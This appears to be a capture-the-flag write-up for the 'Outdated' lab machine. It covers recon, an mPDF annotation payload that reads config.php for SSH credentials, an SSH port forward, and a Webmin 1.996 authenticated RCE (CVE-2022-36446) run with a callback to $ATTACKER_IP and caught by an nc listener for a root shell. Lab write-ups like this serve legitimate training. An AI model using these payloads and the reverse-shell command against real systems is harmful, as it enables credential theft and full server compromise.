Skip to content
HackIndex.io

Outdated Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 7, 2026 • Last updated October 7, 2026 • 3 min read

The Husky Hacker

sysadmin

Outdated runs an HTML-to-PDF converter built on mPDF 6.0, whose annotation feature reads local files into the generated PDF. That leaks a config file with service credentials for SSH. A localhost-only Webmin 1.996 is then exploited with its authenticated RCE, which runs as root, for a root shell.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Convert HTML to PDF Online
10000/tcp filtered snet-sensor-mgmt
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

SSH, an HTML-to-PDF web app on 80, and a filtered port 10000. Fuzz the web root.

Content discovery

Fuzz for files and directories.

┌──(kali㉿kali)-[~]
└─$ ffuf -w /opt/seclists/Discovery/Web-Content/raft-small-words.txt -u http://$TARGET_IP/FUZZ -e .php 
config                  [Status: 301]
config/config.php       [Status: 200]
Explain command
-e .php Append the .php extension to each word.

A /config/config.php exists. The app converts HTML to PDF; running exiftool on a generated PDF identifies the library as mPDF 6.0.

Exploitation

mPDF annotation file read

mPDF renders an <annotation> tag that embeds a local file into the PDF. Submit HTML containing an annotation pointing at the config file.

<annotation file="/var/www/html/config/config.php" content="/var/www/html/config/config.php" icon="Graph" title="Attached File" pos-x="195" />

The generated PDF embeds config.php, which holds credentials for svc-account. Log in over SSH.

┌──(kali㉿kali)-[~]
└─$ ssh svc-account@$TARGET_IP 
svc-account@outdated:~$ id
uid=1000(svc-account) gid=1000(svc-account) groups=1000(svc-account)

Shell as svc-account. Port 10000 is Webmin bound to localhost; forward it out over SSH.

Privilege Escalation

Webmin 1.996 authenticated RCE (CVE-2022-36446)

Forward the port, then confirm Webmin 1.996 via /etc/webmin/version.

┌──(kali㉿kali)-[~]
└─$ ssh -fN -L 10000:localhost:10000 svc-account@$TARGET_IP
Explain command
-L Forward local port 10000 to the target's localhost:10000.

Webmin 1.996 is vulnerable to CVE-2022-36446, an authenticated RCE in the Software Package Updates module. The Webmin daemon runs as root, so the exploit lands a root shell. Start a listener and run the exploit with the svc-account credentials.

┌──(kali㉿kali)-[~]
└─$ python3 50998.py -t https://localhost -u svc-account -p '$SVC_PASSWORD' -l $ATTACKER_IP -lp $ATTACKER_PORT 
$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from outdated
# id
uid=0(root) gid=0(root) groups=0(root)
Explain command
-t / -u / -p Webmin URL and credentials.
-l / -lp Attacker IP and port for the callback.

Webmin runs as root, so the authenticated RCE returns a root shell directly. No separate privilege escalation is needed.

Related

Local File Inclusion Exploitation
Blog

Local File Inclusion Exploitation

Exploit LFI vulnerabilities to read sensitive files, achieve log poisoning, and escalate to RCE via...
Credential hunting in files
Blog

Credential hunting in files

Techniques for locating stored credentials in Linux files, configs, logs, and history files during p...
Command Injection Exploitation
Blog

Command Injection Exploitation

Exploit command injection vulnerabilities in web apps via HTTP/HTTPS, covering payload crafting, byp...

References